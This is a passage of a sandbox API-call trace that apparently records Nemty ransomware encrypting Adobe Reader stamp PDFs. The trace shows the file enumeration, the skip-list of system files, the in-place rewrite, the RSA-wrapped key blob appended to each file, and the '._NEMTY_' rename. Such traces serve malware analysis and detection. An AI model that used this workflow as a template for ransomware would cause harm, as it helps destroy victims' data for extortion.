Size=0x167) returned 0x63440b0 [0189.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.523] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.523] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=41240) returned 1 [0189.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa110) returned 0x6352c48 [0189.523] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.523] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa110, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xa110, lpOverlapped=0x0) returned 1 [0189.528] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.528] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa110, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xa110, lpOverlapped=0x0) returned 1 [0189.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.528] SetFilePointer (in: hFile=0x320, lDistanceToMove=41240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa118 [0189.528] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.528] CloseHandle (hObject=0x320) returned 1 [0189.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.529] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0189.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.530] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2=".") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="..") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="...") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="windows") returned -1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="rsa") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="NTDETECT.COM") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntldr") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="MSDOS.SYS") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="IO.SYS") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntuser.dat") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="desktop.ini") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="CONFIG.SYS") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="RECYCLER") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="bootmgr") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="programdata") returned 1 [0189.530] lstrcmpiW (lpString1="Standard.pdf", lpString2="appdata") returned 1 [0189.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.531] Sleep (dwMilliseconds=0x5) [0189.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x249ec6f0, dwHighDateTime=0x1d561e8)) [0189.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x249ec6f0, dwHighDateTime=0x1d561e8)) [0189.538] GetLastError () returned 0x0 [0189.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.538] GetLastError () returned 0x0 [0189.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.538] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.538] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.538] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.538] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="lZsTFAJBIa+wm+iBoyO6GPugInnEYKgjhav2Zi2xi6pbkF334pGOoMGqPp6ySeXV\r\nWk0B9Kl0FVNNQiYM0rJXxTTo9evBHft/mqYwDu/2xW9/iHST5omK/0NZ0/+mjh8A\r\ncI9jNtYnw9Ps1WOvof/DYH50iGspzqnBYje578eDqutagPHmE+kUynJ4MUvQ/L/u\r\n5F3yqONQH2r5lhYNlCI1C05cC0wdwcgD7/wC7isMDNT0uIB36jOKhg+0+1bWNfQ2\r\nlXJN/Kdr1V3wLMTquRWW77UVzXsoDHNHufUfCHX0IyH6DMUXJp4RaZTyorEv29p/\r\nP+/+koKAPZOdLMIymIt7RA==\r\n", pcchString=0x653df5c) returned 1 [0189.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.539] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.539] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=115957) returned 1 [0189.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0189.539] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.539] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0189.548] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.548] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0189.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.548] SetFilePointer (in: hFile=0x320, lDistanceToMove=115957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c4f5 [0189.548] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.548] CloseHandle (hObject=0x320) returned 1 [0189.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.549] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf._nemty_kgobjgd_")) returned 1 [0189.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.550] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ac4e, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0189.550] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0189.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0189.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0189.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404a8 [0189.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0189.551] Sleep (dwMilliseconds=0x5) [0189.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24a12850, dwHighDateTime=0x1d561e8)) [0189.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24a12850, dwHighDateTime=0x1d561e8)) [0189.553] GetLastError () returned 0x0 [0189.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.553] GetLastError () returned 0x0 [0189.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.554] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, 